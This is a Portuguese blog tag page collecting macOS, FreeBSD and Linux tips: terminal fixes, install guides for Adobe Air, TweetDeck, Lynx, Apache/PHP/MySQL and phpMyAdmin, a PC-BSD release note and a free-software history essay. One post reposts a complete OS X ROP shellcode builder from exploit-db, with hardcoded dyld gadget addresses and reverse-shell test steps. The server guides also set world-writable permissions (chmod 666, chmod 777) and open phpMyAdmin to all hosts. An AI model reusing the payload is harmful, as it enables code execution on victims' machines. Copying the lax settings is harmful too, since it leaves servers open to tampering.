Browsed by
Tag: bsd

‘xterm-256color’: unknown terminal type no mac os x Lion, Mac os x mountain ou mac os x snow leopard

‘xterm-256color’: unknown terminal type no mac os x Lion, Mac os x mountain ou mac os x snow leopard

Se este erro ocorre com você na tentativa de acesso ao terminal de um servidor Ubuntu, Debian, Mint ou qualquer outro Debian Based usando Mac os X e recebe o erro ‘xterm-256color’: unknown terminal type, entre no servidor de destino aonde o terminal conecta e use o seguinte comando:

apt-get install ncurses-term -y

Isso vai instalar o pacote que faltava.

Interessante que se o erro não for corrigido, por exemplo, um comando inportante como top ou screen não funcionam :(.

Em plataformas Red Hat não rola isto.

OSX universal ROP shellcode Testado no SNOW LEOPARD

OSX universal ROP shellcode Testado no SNOW LEOPARD


; universal OSX dyld ROP shellcode
; tested on OS X 10.6.8
;
; if you don't want to compile, copy stage0 code from precompiled.txt
; and append your normal shellcode to it.
;
; usage:
; - put your 'normal' shellcode in x64_shellcode.asm
; - make
; - ./sc
;
; if you want to test:
; - uncomment lea rsp, [rel rop_stage0] / ret
; - make
; - nc -l 4444
; - ./sc
; - you should get a shell over nc
;
; see my blog, if you want to know how this works:
; http://gdtr.wordpress.com
;
; greets to Jacob Hammack, for his reverse tcp shellcode (hammackj.com).
;
; pa_kt
; twitter.com/pa_kt

extern _printf

global _main

;————————————————–
;- DATA
;————————————————–
section .data

rw_area equ 0x00007FFF5FC50000
rwx_area equ rw_area+0x1000
vm_prot equ 0x00007FFF5FC0D356
fake_stack equ rw_area+0x2000
fake_frame equ fake_stack+0x100
r12_zero equ rw_area-0x1000

rax_off equ rw_area-8
rbx_off equ rw_area+8-8
rcx_off equ rw_area+0x10-8
rdx_off equ rw_area+0x18-8
rsi_off equ rw_area+0x28-8
rbp_off equ rw_area+0x30-8
rsp_off equ rw_area+0x38-8
r8_off equ rw_area+0x40-8
r12_off equ rw_area+0x60-8

pop_rdi equ 0x00007FFF5FC24CDC
pop_rbx equ 0x00007FFF5FC23373
store_reg equ 0x00007FFF5FC24CE1
set_regs equ 0x00007FFF5FC24CA1

c_rwx equ 7
c_size equ 0x1000
c_addr equ rwx_area
c_set_max equ 0

dbg_ret equ 0x00007FFF5FC24C4B

; copy shellcode to RWX area
; size = 0x1000
stub:
lea rsi, [r15+saved_rsp_off+copy_stub_size+rop_post_size]
xor rcx, rcx
inc rcx
shl rcx, 12 ;rcx = 0x1000
lea rdi, [rel normal_shellcode]
rep movsb
;int 3
normal_shellcode:

stub_size equ $-stub

; order is important
rop_pre dq pop_rdi, rcx_off, pop_rbx, c_set_max, store_reg,
dq pop_rdi, rdx_off, pop_rbx, c_size, store_reg,
dq pop_rdi, rsi_off, pop_rbx, c_addr, store_reg,
dq pop_rdi, rbp_off, pop_rbx, fake_frame, store_reg,
dq pop_rdi, rsp_off, pop_rbx, fake_stack, store_reg,
dq pop_rdi, r8_off, pop_rbx, c_rwx, store_reg,
dq pop_rdi, r12_off, pop_rbx, r12_zero, store_reg,

; set fake stack
dq pop_rdi, fake_stack+8-8, pop_rbx, vm_prot, store_reg,

; set fake frame (return address -> rwx page)
dq pop_rdi, fake_frame-8-0x38, store_reg,
saved_rsp:
dq pop_rdi, fake_frame+8-8, pop_rbx, rwx_area, store_reg,

rop_pre_size equ $-rop_pre
saved_rsp_off equ $-saved_rsp-8

rop_post dq dbg_ret

; set all regs and jump to vm_prot
dq pop_rdi, rw_area, set_regs
; marker
; dq 0x1111111111111111

rop_post_size equ $-rop_post

x64_shellcode: incbin “x64_shellcode”
x64_shellcode_size equ $-x64_shellcode

hello db “test”, 0
fmt db “\x%02x”,0

section .bss

rop_stage0 resq 100
copy_stub resq ((stub_size+7)/8)*5
copy_stub_size equ $-copy_stub

;————————————————–
;- CODE
;————————————————–
section .text

prep_stub:

mov rcx, (stub_size+7)/8
mov rsi, stub
mov rdi, copy_stub
mov rbx, rwx_area-8
go:
mov rax, pop_rdi
stosq
mov rax, rbx
stosq
mov rax, pop_rbx
stosq
movsq
mov rax, store_reg
stosq
add rbx, 8
loop go
ret

make_stage0:
mov rsi, rop_pre
mov rdi, rop_stage0
mov rcx, rop_pre_size
rep movsb

mov rsi, copy_stub
mov rcx, copy_stub_size
rep movsb

mov rsi, rop_post
mov rcx, rop_post_size
rep movsb

mov rsi, x64_shellcode
mov rcx, x64_shellcode_size
rep movsb

ret

print_it:
push rbp
mov rbp, rsp

mov rcx, rop_pre_size + copy_stub_size + rop_post_size + x64_shellcode_size
lea rsi, [rel rop_stage0]
xor rax, rax
one_char:
lodsb
push rsi
push rcx
mov rsi, rax
mov rdi, qword fmt
xor rax, rax
call _printf
pop rcx
pop rsi
loop one_char

leave
ret

_main:
push qword rbp
mov rbp, rsp

call prep_stub
call make_stage0

call print_it

;lea rsp, [rel rop_stage0]
;ret

leave
ret

Fonte: http://www.exploit-db.com/exploits/17564/

PC-BSD 9.0-BETA3 Lançado

PC-BSD 9.0-BETA3 Lançado

Confira a nota de lançamento da DistroWatch:

 

PC-BSD Dru Lavigne has announced the availability of the third beta release of PC-BSD 9.0, a user-friendly desktop operating system based on FreeBSD: “The third BETA release of the upcoming PC-BSD 9.0 is now available. This release includes the latest FreeBSD 9.0-BETA3 base, along with numerous bug fixes and enhancements. Changelog: fix issue enabling Flash plugin after installation; fix bug with handbook not launching in LXDE; fix issue performing updates on ZFS systems with separate /boot UFS partition; add lxmenu-data port which provides nicer LXDE menu framework; fix enabling iBus from GDM; include ‘mga’ driver in base; add option to install only Openbox as a window manager; fix bug doing PBI patching and checking the FreeBSD version….” Here is the full release announcement. Download links to the installation and live DVD images: PCBSD9.0-BETA3-x86-DVD.iso (3,179MB, SHA256), PCBSD9.0-BETA3-x86-DVD-live.iso (1,706MB, SHA256), PCBSD9.0-BETA3-x64-DVD.iso (3,292MB, SHA256), PCBSD9.0-BETA3-x64-DVD-live.iso (1,838MB, SHA256).

 

Fonte: http://distrowatch.com/6914

Como instalar Adobe Air mais recente + TweetDeck no Mac Os X Lion

Como instalar Adobe Air mais recente + TweetDeck no Mac Os X Lion

É bem verdade que com os recursos do Flex dá para ser feito um monte de coisas bacanas. Muitos já devem conhecer a ferramenta TweetDeck (a qual já até citamos em outro post, porém para Android, caso queira companhar basta clicar no top 2011 aplicativos para android). Neste post iremos mostrar como instalar de forma ultra blaster simples o Adobe Air e em seguida como instalar o TweetDeck. Os passos são simples e foram feitos literalmente em um sistema operacional Mac Os X Lion.

Como instalar Adobe Air no Mac Os X?

Vamos lá!

Primeiro passo que devemos fazer é acessar o site da adobe para baixar o pacote oficial direto do site. Usamos uma simples tática, entrando no site da Google e colocando Download Adobe Air. O Site em si, assim que clicado pela url fornecida ao google já checa os cabeçalhos e de cara lhe redireciona para o Link de download para Osx, ou seja, arquivo de download vem no formato DMG.

Se você quiser o Link que usamos (talvez, daqui alguns dias, com os próximos releases este já poderá não estar mais acessível. Caso ainda assim queira:

http://get.adobe.com/br/air/thankyou/?installer=Adobe_AIR_2.7.1_for_MacOS_X

buscando pela google o adobe air
buscando pela google o adobe air

Veja que estamos mostrando literalmente como fizemos via texto ou por imagem (há quem afirme que uma imagem fala mais que mil palavras :P ).

Acessando o download na Adobe
Acessando o download na Adobe

Perceba que clicando no link da adobe de download ele cai na página acima. Quando clicamos em download o redirecionamento vai para o link que citamos que pode perder sua validade (ele se basea no versionamento e não no nome canonical de download adobe air for mac, por exemplo).

Salvando o formato DMG no disco
Salvando o formato DMG no disco

Esta parte já começa a fircar interessante. Como podem perceber estamos baixando o Adobe Air em formato DMG para o disco.

Confirmando a execução do adobe air install
Confirmando a execução do adobe air install

Agora iremos confirmar a instalação do Adobe Air.

Confirmando a instalação do adobe air
Confirmando a instalação do adobe air

Devemos dizer que iremos abrir o arquivo baixado.

Ideal mesmo é que abramos a pasta aonde ele foi salvo no download e cliquemos em cima do arquivo dmg para rodar logo o instalador.

Abrindo o dmg do adobe air install
Abrindo o dmg do adobe air install

Veja que ao abrir o dmg ele mostra literalmente o instalador do adobe air, devemos prosseguir clicando duas vezes sobre este arquivo vermelhinho para o instalador começar a rodar.

Confirmando a execução do arquivo web adobe air install
Confirmando a execução do arquivo web adobe air install

Confirmando a execução iremos para a tela a seguir:

Confirmar instalação do adobe air
Confirmar instalação do adobe air

Veja que no meu caso havia uma versão bem ultrapassada do adobe air instalada, nesta hora ele pede confirmação para ATUALIZAR, se este for seu caso, basta seguir, do contrário, se não havia adobe air ele sugere instalar. No passo da aceitação ele segue literalmente padronizado, dizendo instalar ou atualizar o resto é idêntico. Devemos confirmar aceitando a instalação/atualização.

Autorize a instalação com seu login e senha mestra
Autorize a instalação com seu login e senha mestra

Autorizando com nosso usuário e senha iremos prosseguir com a instalação.

Progresso da instalação do adobe air no mac os x lion
Progresso da instalação do adobe air no mac os x lion

Veja acima o progresso da instalação ocorrendo tranquilamente.

Finalizando a instalação do adobe air
Finalizando a instalação do adobe air

Agora finalizamos a instalação do adobe air.

Como instalar o TweetDeck?

Vamos lá!

Buscando o TweetDeck
Buscando o TweetDeck

Agora iremos instalar o TweetDeck de forma tranquila.

A forma mais eficaz é fazer igual fizemos acima. Acessando o GOOGLE e escrevendo TweetDeck automaticamente temos o site oficial.

Caso queira acessar direto não perca tempo :P, clique aqui -> http://www.tweetdeck.com/desktop/

Se clicar no link acima já caímos na parte que nos interessa, do contrário acessaremos o site do tweetdeck e teremos de clicar em desktop, veja as 2 fotos:

Site Oficial do TweetDeck
Site Oficial do TweetDeck
TweetDeck para Desktop
TweetDeck para Desktop

Veja que o tweetdeck é uma ferramenta oficial do Twitter, por isso tranquilizesse quanto ao seu uso. (milhares de users aprovam :P )
Clicando no link de download do site iremos instalar tranquilamente o TweetDeck, veja a imagem abaixo:

Clique em Download NOW
Clique em Download NOW

Clicando em Download now ele automaticamente utiliza recursos do adobe air instalado em seu desktop. Assim que chamamos clicando ele automaticamente prepara o download e instalação, veja:

Preparando a instalação do TweetDeck 2011
Preparando a instalação do TweetDeck 2011

Vamos dando prosseguimento:

Instalando o TweetDeck confirmando
Instalando o TweetDeck confirmando

Agora iremos prosseguir novamente. Confirme a instalação avançando mais esta etapa acima.

Progresso do TweetDeck
Progresso do TweetDeck

Os passos acima confirmam o download do tweetdeck via adobe air. Agora iremos finalizar a instalação do mesmo seguindo as imagens abaixo:

Confirmando instalação no disco
Confirmando instalação no disco

Vamos encerrar isso ou não? Veja os passos abaixo:

Concluindo a instalação do tweetdeck
Concluindo a instalação do tweetdeck

Pronto. Assim que concluir ele já vai pedir para autorizar o Tweetdeck pois foi baixado da internet (confirme imagem abaixo):

devemos abrir o tweetdeck
devemos abrir o tweetdeck

 

Pronto.

Veja aonde o danado fica no menu:

menu com tweetdeck (aplicativos)
menu com tweetdeck (aplicativos)

Gostou? Salvou seu dia? Então comente este artigo!

Achou massa? Compartilhe!

Se não gostou também critique.

Atenciosamente

4PPUN1X (l4b m41s p1r4d0 de T1).

Como instalar o Lynx (navegador para o terminal/console) no Mac Os X Lion

Como instalar o Lynx (navegador para o terminal/console) no Mac Os X Lion

Dica simples e rápida!

Galera é o seguinte, quer instalar o Lynx (navegador web) no seu terminal Unix no Mac Os X Lion?

O que teremos de ter nesta PRIULA:

1 – Xcode 4.1 instalado,

2 – Ports do Mac 2.0 para Lion.

Como conseguimos os dois bichos?

1 – http://itunes.apple.com/us/app/xcode/id448457090?mt=12

Está disponível na AppleStore e 100% free para quem tem o LION. Instale-o.

2 – Instale agora o ports do Mac (100% compatível com o LION) no link abaixo:

http://www.macports.org/install.php

Depois de instalar ambos faça o seguinte em seu terminal (Aplicativos -> Utilitários -> Terminal):

abrir terminal UNIX no mac
abrir terminal UNIX no mac

Assim que abrir o terminal rode o seguinte comando abaixo:

sudo port install lynx

Depois disso rode o seguinte comando:

lynx appunix.com.br

Abriu?

Equipe AppUnix Agradece!

 

Fonte: http://osxdaily.com

Como instalar PHP, Apache e Mysql no Mac Os X Snow Leopard (mamp2 no mac)

Como instalar PHP, Apache e Mysql no Mac Os X Snow Leopard (mamp2 no mac)

Este é um artigo daqueles “easy-to-use”, aonde instalaremos o apache 2, o php 5 e o mysql 5 para que possamos programar sossegadamente (fazer um webserver para hospedar nossa aplicação localmente).
O sistema operacional usado aqui foi o Mac Os X Snow Leopard 10.6.7, mas o procedimento é o mesmo para 10.6.8.

Vamos para o fight?
Iremos usar o console do Mac os x, assim como o ports do Mac para gerenciar o trem com velocidade.
Façamos o seguinte, clique em terminal (veja a imagem abaixo):

como abrir terminais no mac os x
como abrir terminais no mac os x

Clicando lá você fará o seguinte:

Little-oaks-appunixlabs:~ sudo apachectl start

Isto fará com que você chame recursos globais como super usuário e ative o serviço do apache 2 dentro do seu Mac os x, LEMBRANDO que será requisitada a senha de superusuário para que você possa rodar este recurso, pois o sudo te dá poder de root para executar um determinado comando, como neste caso tomtamos o exemplo do apachectl.

Para conferir que o procedimento deu certo abra seu navegador web (no nosso caso curtimos muito o Mozilla Firefox, mas fica ao seu critério o navegador [isto não influenciará em nada neste how to]), conforme imagem abaixo, na barra de endereços digite

Apache ok
Apache ok

HTTP://localhost

Nosso segundo ponto e muito importante é entrar no arquivo de configuração do apache 2 afim de habilitarmos o suporte ao PHP, vamos por a mão na massa? Estamos usando o VIM, um editor muito eficaz e leve (todos que já amaram o vi um dia com certeza amam/amarão o vim):

Little-oaks-appunixlabs:~ sudo vim /etc/apache2/httpd.conf

 

Dentro deste arquivo devemos remover o comentário da linha abaixo:

LoadModule php5_module libexec/apache2/libphp5.so

Recomendo que aperte a tecla / no vim e digite php5, você já vai cair em cima da linha a ser descomentada, em seguida, no sinal de libra (#), caminhe até ele e aperte x
Isto nos deixará com suporte ao PHP, depois basta apertar ESC e digitar isto:
:wq!
Assim que pressionar ENTER o arquivo será salvo.
Vamos explicar o por que de :wq!

: representa comando para o arquivo
W representa ESCREVER
Q representa QUIT (sair)
! representa EXECUTAR as instruções informadas

Para finalizarmos o suporte ao php precisamos rodar o seguinte comando:

Little-oaks-appunixlabs:~ sudo apachectl restart

É mania de todos criar um arquivo com a função phpinfo() contida nele, porém, se fizermos isso “de cara” o apache vai exibir muitos warnings (interpretados pelo php) por questões de permissões e de existência do arquivo php.ini. Para sanarmos isto deveremos fazer o seguinte:

Little-oaks-appunixlabs:~ cd /etc
Little-oaks-appunixlabs: sudo cp php.ini.default php.ini
Little-oaks-appunixlabs: sudo chmod 666 php.ini

Estamos copiando o php.ini default do /etc (área de arquivos de configurações em Unix-like systems) e atribuindo permissões 666 (dono pode ler e escrever no arquivo, grupo também e demais também).
No arquivo php.ini temos de localizar o trecho aonde o TimeZone é identificado (mas está comentado). É muito importante mudar esta linha e ajustarmos nosso timezone corretamente, pois isto nos dará um horário adequado. Para isto devemos proceder da seguinte forma:
Little-oaks-appunixlabs: sudo vim php.ini
Em seguida aperte a tecla / para localizar um termo, informe o seguinte date.timezone, isto lhe deixará na linha acima da que precisamos mudar. Descomente a linha abaixo para que fique assim:
date.timezone =

Você removerá o ; apertando x em cima dele. Para deixarmos o vim em modo de edição de arquivos precisamos apertar a tecla i, isto nos dará poder de editar o arquivo (saindo de modo comando).
Agora iremos colocar depois do = o seguinte:
America/Sao_Paulo
Então o resultado final será —> date.timezone = America/Sao_Paulo
Dê ESC e digite
:wq!
Aperte ENTER e terá o arquivo salvo.

 

As vezes você pode estar se perguntando:

Poxa, mas meu timezone não tem nada a ver com o de Sampa, o que faço?
Relaxa, rapá! A galera do Appunix pensou em você! Abaixo segue a lista de timezone da América:
http://www.php.net/manual/en/timezones.america.php

Se mesmo assim não lhe agradar você pode usar os globais:
http://www.php.net/manual/en/timezones.others.php

Mas é impossível você não se agradar dos timezones da América, são repletos.
Os mais comuns que são usados são:
America/Porto_Velho
America/Noronha
America/Rio_Branco
America/Recife
America/Sao_Paulo
America/Porto_Acre
Mas escolha o que mais lhe agradar.

Assim que decidir qual seu TimeZone você deve reiniciar o apache para reler o php.ini e ativar o negócio:
Little-oaks-appunixlabs: sudo apachectl restart

Agora precisamos instalar o Mysql 5 para que possa trabalhar da forma que almejamos.
Para irmos direto ao ponto acesse o link abaixo:
http://dev.mysql.com/downloads/mysql/5.1.html#macosx-dmg
Se cuide para baixar a versão ideal para você.
Aí é 64 bits? Não sabe como é? Quer saber como seu Mac Os X Snow Leopard está operando? Clique na maça, depois clique em Sobre Este MAC, em seguida clique em Software (Categoria) e procure pela linha Kernel de 64-bit e Extensões: Sim (conforme a foto abaixo):

como ver informações do seu mac os x
como ver informações do seu mac os x

Caso seja Sim é 64 bits (x86_64), então baixe o pacote para 64 bits.
Vamos simbora?
Baixe o arquivo x86_64 no formato DMG.

baixar pacote mysql 64 bits (DMG)
baixar pacote mysql 64 bits (DMG)

Quando você clicar no formato DMG automaticamente o site da Mysql vai te convidar a logar-se lá com eles, mas basta prestar a atenção (conforme imagens abaixo) para não precisar perder tempo com esta burocracia, se você quer baixar direto (melhor Né?) basta fazer o seguinte, clique no link abaixo:
HTTP://dev.mysql.com/get/Downloads/MySQL-5.1/mysql-5.1.58-osx10.6-x86.dmg/form/http://mysql.cce.usp.br/
Deixa o download terminar siga os passos das fotos abaixo (literalmente instalar o mysql e seu ícone), Devemos concluir os passos extras para adição do Mysql como sendo parte do painel administrativo, para isto siga os passos abaixo:

passo1
passo1

 

Feito isto iremos confirmar se o mysql está rodando com o seguinte comando:

Little-oaks-appunixlabs: /usr/local/mysql/bin/mysql

Feito isto iremos reiniciar o apache 2 para garantir que o nosso servidor está integrando literalmente tudo, faremos com o seguinte comando:

Little-oaks-appunixlabs: sudo apachectl restart

Para conferirmos tudo vamos entrar dentro da nossa pasta pessoal, na pasta Sites e criar um arquivo chamado index.php. Dentro dele iremos colocar o seguinte (ISTO EM /Library/WebServer/Documents):
Ou seja -> sudo vim /Library/WebServer/Documents/index.php

< ?php phpinfo(); ?>

Teremos liberadas extensões como PDO (Muito boa para abstração no banco de dados mysql), Mysqli (a versão aprimorada do conector nativo do Mysql [somente disponível a partir do Mysql 5.x])
Pronto, feito isto instalamos o Mysql 5 , Php 5 e Apache 2 em nosso Mac Os X :D.
Abraços a todos e saibam que o AppUnix aprecia sua visita!

Como instalar Apache, PHP, MySQL, Phpmyadmin e MemCached no FreeBSD 7

Como instalar Apache, PHP, MySQL, Phpmyadmin e MemCached no FreeBSD 7

Vamos começar instalando o Mysql.

Precisamos entrar na pasta do mysql:

cd /usr/ports/databases/mysql51-server

Vamos preparar a arquitetura de updates:

make BUILD_OPTIMIZED=yes BUILD_STATIC=yes

Na mesma pasta vamos instalar o mysql:

make install clean

Precisamos ativar o Mysql como serviço iniciado no momento do boot.
Para isto devemos adicionar ao final do arquivo /etc/rc.conf o seguinte:

mysql_enable=”YES”

Devemos agora copiar o arquivo default do mysql para a pasta de configurações e com o nome real:

cp /usr/local/share/mysql/my-medium.cnf /etc/my.cnf

Para iniciar o mysql recém instalado devemos rodar o seguinte:

/usr/local/etc/rc.d/mysql-server start

Precisamos definir agora a senha de root do mysql:

/usr/local/bin/mysqladmin -u root password ‘SUA NOVA SENHA AQUI’

Agora que o mysql está ultra instalado devemos focar no apache, iremos instalar a versão 2.2:

cd /usr/ports/www/apache22

Vamos instalar usando o seguinte comando dentro da pasta a qual entramos com o comando cd:

make install clean

Para garantir que o bixão rode corretamente no momento do boot devemos colocar no final do arquivo /etc/rc.conf a seguinte entrada:

apache22_enable=”YES”

E validaremos isto em outro arquivo também, o /boot/loader.conf, para colocarmos a seguinte entrada lá:

accf_http_load=YES

Agora iremos instalar o PHP5 no bendito. Para isto temos que entrar na pasta do port do php5:

cd /usr/ports/lang/php5

Executaremos a instalação:

make install clean

No caso das extensões do php5, para instalarmos qualquer extensão devemos seguir a seguinte sintaxe:

PDF-Lite (estamos tomando por exemplo aqui)

fetch ftp://ftp.swin.edu.au/gentoo/distfiles/PDFlib-Lite-7.0.2.tar.gz
sudo mv PDFlib-Lite-7.0.2.tar.gz /usr/ports/distfiles/

Agora vamos para o diretório de extensões do php5:

cd /usr/ports/lang/php5-extensions

Vamos ativar os recursos:

make install clean

Vamos criar o path do php.ini corretamente:

cp /usr/local/etc/php.ini-dist /usr/local/etc/php.ini

Para validarmos o php como módulo do apache 2.2 precisamos adicionar as entradas do php. No fim do arquivo /usr/local/etc/apache22/httpd.conf devemos colocar isso aqui:
AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps

Devemos agora deixar o index.php como default nos diretórios raizes, para isto devemos trocar (no conf do apache ainda):
DirectoryIndex index.html
por
DirectoryIndex index.php index.html

Vamos editar o gestor de línguas do apache (o conf) /usr/local/etc/apache22/extra/httpd-languages.conf, no fim dele devemos colocar o seguinte:
AddDefaultCharset On

Para validarmos nossas mudanças devemos fazer o seguinte:
/usr/local/etc/rc.d/apache22 start
O comando acima vai reiniciar o apache, validando assim nossas mudanças.

Vamos instalar o Memcached, ultra ferramenta para o php. Usaremos o Pecl (addon do php):

cd /usr/ports/databases/pecl-memcache

Para instalarmos iremos rodar o comando abaixo:

make install clean

Iremos validar a instalação do Memcached:

cd /usr/ports/databases/memcached

make install clean

Vamos deixar o Freezão dar start quando inicializar, dentro do /etc/rc.conf devemos colocar:

memcached_enable=”YES”

E para finalizar toda a brincadeira:

/usr/local/bin/memcached -d -u nobody

Para metermos bala no phpmyadmin iremos fazer o seguinte:

cd /usr/ports/databases/phpmyadmin

Dentro da pasta acima temos de validar nossa instalação direto do port:

make install clean

O phpmyadmin em si já está instalado em seu FreeBSD, mas temos que fazer um Alias no apache para poder colocar a casa em ordem. Iremos fazer o seguinte dentro do conf do apache-> /usr/local/etc/apache22/httpd.conf:

Na sessão ->
Coloque o seguinte dentro dessa tag do apache:

Alias /phpmyadmin /usr/local/www/phpMyAdmin

E para deixar a coisa mais completa, dentro do apache devemos criar um directory para que o phpMyadmin esteja liberado para acesso web, para isto devemos fazer o seguinte:


Order allow,deny
Allow from all


Lembrando que o alis fica fora daí hein?
Vamos ativar o conf do phpmyadmin agora

cd /usr/local/www/phpMyAdmin
mkdir config
chmod 777 config

Vamos ativar nossas bagunças??? Devemos reiniciar o apache agora:

/usr/local/etc/rc.d/apache22 restart

Para setar seu phpmyadmin no fino grão você deverá abrir seu navegador com a seguinte sintaxe de endereço:

http://ip_do_FREEBSD/phpmyadmin/scripts/setup.php

Mude o Tipo de Autenticação para HTTP,
Delete o ROOT do User for config para autenticação,
Você pode deixar todo o resto e depois clicar em Add para adicionar o novo servidor.
Clicando em Save você vai salvar a configuração do phpmyadmin.

Vamos validar nosso conf:

cp config/config.inc.php .

Vamos deletar o arquivo desnecessário e dar permissões corretas e seguras ao conf e assim finalizaremos nosso How to:

rm -rf config
chmod 444 config.inc.php

Para acessar suas coisas web use a pasta: /usr/local/www/data/
E se quiser acessar o phpmyadmin use: http://IP_FREEBSD/phpmyadmin/

The end :P

s

Una-se a Revolução (de Pablo Lorenzzoni)

Una-se a Revolução (de Pablo Lorenzzoni)

Una-se à Revolução

Pablo Lorenzzoni

Desde que os softwares livres e abertos apareceram, muita coisa tem acontecido. Novas escolhas vêm sendo feitas, tanto pela indústria do software, que agora pode optar por modelos alternativos de desenvolvimento, quanto pelo usuário, para quem um novo (e aberto) mundo é apresentado. Mas e o usuário não técnico? Sim… aquele que comprou o computador pronto na loja e nem sabia que o Windows não era necessário. Aquele que, quando enfrentava um erro que acabava travando o computador, exclamava “Maldito computador” ao invés de “Maldito Windows”. Foi pensando nesse usuário que esse documento foi escrito: apresentar-lhe essa revolução para que, de expectador atônito, ele passem a agente da sua própria revolução pessoal. Vamos lá….


1. Pré-História da Revolução

Nos anos 60 e 70, em meio à revolução hippie, a pré-história da revolução atual começou. Quase paralelamente se desenvolveram o que hoje conhecemos como cultura hacker, Unix e linguagem de programação C.

O hacker é, fundamentalmente, um especialista, um solucionador de problemas. Seus primeiros representantes, provavelmente, foram os estudantes do MIT, que, com apenas o horário noturno para estudar os circuitos eletrônicos dos primeiros computadores, passavam a noite descobrindo cada esquina e cada curva na intrincada arquitetura daquelas máquinas.

Hoje existem várias definições para hacker e para cultura hacker, mas a idéia principal é a de que existe uma comunidade, uma cultura compartilhada de programadores experts e magos da conectividade cujo passado histórico começa há décadas, com os primeiros computadores compartilhados e as primeiras experiências com a ARPAnet (a precursora da Internet). Os membros dessa cultura (os hackers) construíram a Internet. Os hackers fizeram do Unix o sistema operacional que ele é hoje. Os hackers construíram a Usenet. Os hackers fizeram a World Wide Web funcionar. Esqueça o que a mídia tem publicado a respeito deles. É lógico que, com tanto conhecimento e sendo composto por indivíduos tão heterogêneos, alguns usariam esses conhecimentos para invadir computadores de bancos, roubar dinheiro, bisbilhotar no computador dos outros. Mas chamar Ken Thompson, Dennis Ritche, Linus Torvalds, Richard Stallman, Eric Raymond e Alan Cox de criminosos é, no mínimo, leviano. A verdade é que a maioria dos hackers está interessado em resolver os próprios problemas e contribuir para a comunidade com a solução que encontrou.

O Unix é o produto da mente de um hacker da Bell Labs: Ken Thompson. Seu precursor foi o Multics, um sistema operacional de tempo compartilhado. O Multics foi a base de testes para a idéia de Thompson de que a complexidade do sistema operacional pudesse ser ocultado do usuário e da maioria dos programadores de modo que as operações fossem transparentes. A idéia era construir um sistema mais simples para que mais trabalho real fosse feito. O Multics acabou morrendo, mas Thompson continuou a desenvolver suas idéias em outra base de hardware, no que, mais tarde, acabou sendo conhecido por Unix.

Um outro hacker conhecido como Dennis Ritche inventou uma nova linguagem chamada “C” para ser utilizada no Unix de Thompson. O nome “C” deve-se ao fato de Ritche ter baseado seu trabalho na linguagem conhecida por BCPL (ainda em uso em alguns lugares da Europa). Sua primeira (e infrutífera) reimplementação recebeu o nome de “B”, logo, parecia lógico que a segunda reimplementação fosse denominada “C”.

A grande sacada da associação de Thompson e Ritche era a portabilidade. Acreditando que um sistema operacional completo pudesse ser desenvolvido em C (uma linguagem de médio nível), ao invés de Assembly (uma linguagem de baixo nível), o Unix foi escrito em C e portado para inúmeras arquiteturas, apresentando a mesma “cara” seja qual for o computador utilizado. O próprio nome Unix reflete isso numa das primeiras ironias da computação aberta: Unix – único versus Multics – múltiplo.

Além da portabilidade, tanto Unix como C tinham outras importantes características. Ambos foram construídos com a filosofia do mais simples (conhecido, em inglês, como KISS – Keep It Simple, Stupid), de forma que um programador poderia facilmente conhecer toda a estrutura lógica do C de cabeça, sem precisar recorrer aos pesados manuais de antigamente. O Unix, por sua vez, foi estruturado em pequenos blocos com funções simples que se combinavam para aumentar a complexidade das operações. Nem mesmo os próprios programadores desses blocos seriam capazes de prever a multiplicidade de maneiras como eles são utilizados em conjunto.

Estava formado o caldo inicial no qual se desenvolveria a grande revolução que presenciamos hoje.


2. A Revolução Começa

Em 1984, outro hacker saído do MIT, tornou-se pai de uma filosofia que, sustentada por uma forte base na comunidade hacker, no Unix e na linguagem C, acabou por começar uma revolução digital. Seu nome é Richard M. Stallman (ou RMS, como ele mesmo prefere).

A filosofia do software livre se baseia em uma definição de liberdade. Por causa da ambigüidade em inglês da palavra “free”, tornou-se necessário esclarecer que Free Software não se refere a preços, mas à liberdade dos usuários de executar, copiar, distribuir, estudar, modificar e melhorar o software. Mais precisamente, refere-se à quatro tipos de liberdades:

  1. A liberdade de executar programas para qualquer propósito.
  2. A liberdade de estudar como o programa funciona e adaptá-lo às suas necessidades (o acesso ao código fonte é essencial para isso).
  3. A liberdade para redistribuir cópias do programa de modo que seu vizinho se beneficie.
  4. A liberdade de melhorar o programa e distribuir o seu aperfeiçoamento para o público, de modo que toda a comunidade se beneficie (novamente o código fonte é necessário)

Em torno dessa filosofia, a Fundação do Software Livre (Free Software Foundation – FSF) foi criada para fomentar projetos com a mesma filosofia. O primeiro projeto da FSF foi o projeto GNU, inaugurando uma longa série de acrônimos irônicos para denominar projetos de software livre (GNU é um acrônimo recursivo que significa “GNU’s Not Unix”).

Mas além de um acrônimo curioso, o objetivo do projeto GNU era (e ainda é) criar um sistema operacional completo que seja compatível com o Unix, mas desvinculado da imagem comercial que o Unix adquiriu ao longo de sua história. Atualmente o projeto GNU é o responsável por quase todas as ferramentas que tornaram um Unix livre possível. No entanto, o grande objetivo de criar um kernel (núcleo do sistema) ainda não atingiu o mesmo nível que as outras aplicações.

Talvez a maior contribuição que RMS tenha feito não seja no campo do software, mas no campo legal. Através da FSF, RMS desenvolveu ao longo dos anos as famosas licenças de copyleft (mais uma ironia, contrapondo-se à copyright). Essas licenças (fortemente baseadas no direito autoral) deram instrumentos legais para que os hackers pudessem liberar seus trabalhos para o público sem medo que seu código fosse roubado por alguma grande empresa e, ao mesmo tempo, assegurando que ele ficaria livre para sempre.

Basicamente, ao utilizar uma das licenças redigidas e legalmente sustentadas pela FSF em um de seus programas (como a GPL – General Public License – por exemplo), o programador assegura que seu código permanecerá livre pois toda e qualquer modificação nele somente poderá ser liberado se for feito pela mesma licença. Mais tarde, se o programador original decidir fechar o programa [1] quase certamente, alguém continuará mantendo o programa livre por dividir o desenvolvimento começando por uma versão livre anteriormente licenciada [2] .

Pense nas licenças da FSF como uma carta de alforria do software. É como se o software dissesse ao seu programador: “Sim… você me criou, mas tem a obrigação de dizer a todos como fez. Não… não adianta me prender. Se você fizer isso outra pessoa virá me soltar e você não terá nenhum controle sobre mim”.


3. De Helsinki, a peça que faltava

O projeto GNU vinha muito bem, provendo os hackers do mundo inteiro com milhares de linhas de código em C para suas ferramentas compatíveis com o Unix, e com o famoso compilador GCC, que impulsionava centenas de projetos livres em todo o mundo. Mas faltava uma peça, e não qualquer peça, faltava o kernel. O kernel de um sistema operacional é o núcleo do sistema. É completamente invisível para o usuário, mas é o responsável por traduzir as chamadas de sistema dos programas para a linguagem do computador e vice-versa.

